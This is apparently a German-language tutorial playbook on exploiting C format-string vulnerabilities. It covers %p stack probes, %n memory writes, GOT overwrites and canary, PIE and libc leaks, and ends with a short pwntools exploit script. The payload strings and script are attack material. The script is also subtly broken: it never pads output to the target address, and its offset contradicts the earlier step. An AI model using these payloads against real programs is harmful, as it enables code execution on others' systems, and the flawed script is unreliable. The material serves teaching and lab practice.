Was macht format-string-exploitation?
Format-String-Ausbeutungs-Playbook. Verwenden Sie, wenn printf-Funktionen benutzergesteuerte Formatstrings erhalten, was beliebige Stack-Lesevorgänge (%p/%s), beliebige Speicherschreibvorgänge (%n/%hn/%hhn), GOT/Hook-Überschreibungen und Canary/libc/PIE-Leaks ermöglicht.
Einführung
Dieses Playbook beschreibt die systematische Ausbeutung von Format-String-Schwachstellen in C-Programmen. Es deckt die grundlegenden Techniken ab: Stack-Lesen, Speicherschreiben und die Umgehung von Schutzmechanismen wie Canary, PIE und ASLR.
Voraussetzungen
- Grundlegendes Verständnis der C-Sprache und der printf-Funktion
- Kenntnisse über Speicherlayout (Stack, Heap, BSS, Data, Text)
- Vertrautheit mit Debugging-Tools wie GDB oder Radare2
- Zugang zu einem Zielbinary mit Format-String-Schwachstelle
Schritt-für-Schritt-Anleitung
1. Identifizieren der Schwachstelle
Suchen Sie nach Verwendungen von printf, sprintf, fprintf, snprintf oder vsprintf, bei denen ein benutzergesteuerter String direkt als erstes Argument übergeben wird.
// Schwachstelle
printf(user_input);
// Sicher
printf("%s", user_input);
2. Offset bestimmen
Senden Sie eine Serie von %p-Format-Specifiers, um den Offset ihres Inputs auf dem Stack zu finden.
echo 'AAAA%p.%p.%p.%p.%p.%p.%p.%p' | ./verwundbar
Wenn Sie AAAA an Position 6 sehen, ist der Offset 6.
3. Stack-Werte lesen
Verwenden Sie direkte Parameterzugriffe, um gezielt Werte vom Stack zu lesen.
# Offset 6 lesen
echo '%6$p' | ./verwundbar
# Mehrere Werte lesen
echo '%6$p.%7$p.%8$p' | ./verwundbar
4. Speicher schreiben mit %n
%n schreibt die Anzahl der bereits ausgegebenen Zeichen an die Adresse, die auf dem Stack liegt.
// Beispiel: Wert 0x42 an Adresse 0x0804a000 schreiben
char payload[100];
// Zieladresse zuerst auf den Stack legen
*(uint32_t*)payload = 0x0804a000;
// Format-String: 0x42 - 4 = 62 Zeichen ausgeben, dann %n
snprintf(payload+4, 96, "%62x%6$n");
5. GOT-Überschreibung
Statt auf eine beliebige Adresse zu schreiben, überschreiben Sie einen GOT-Eintrag, um die Ausführung umzuleiten.
# GOT-Adresse von puts ermitteln
objdump -R verletzlich | grep puts
# Beispiel-Ausgabe: 0804a010 R_386_JUMP_SLOT puts
# Überschreiben Sie puts mit der Adresse von system
# Dazu müssen Sie schrittweise die Bytes schreiben
6. Canary, PIE und ASLR umgehen
- Canary: Lesen Sie den Canary-Wert mit %p und erhalten Sie ihn für einen späteren Buffer-Overflow.
- PIE: Lesen Sie eine Code-Adresse vom Stack, um die Base-Adresse zu berechnen.
- ASLR: Leaken Sie eine libc-Adresse (z.B. von
__libc_start_main), um die libc-Offsets zu bestimmen.
Beispiel-Exploit (vereinfacht)
from pwn import *
# Zieladresse (GOT von puts)
got_puts = 0x0804a010
# Zielwert (Adresse von system)
system_addr = 0xb7e6b060
# Exploit-Aufbau
payload = p32(got_puts) # Adresse für %n
payload += b"%10$n" # Format-String (angenommen Offset 10)
# Senden
p = process('./verwundbar')
p.sendline(payload)
p.interactive()
Referenzen
- OWASP Format String Attack
- pwnlib format string
- Phrack Ausgabe 49, Artikel 7
Lizenz
MIT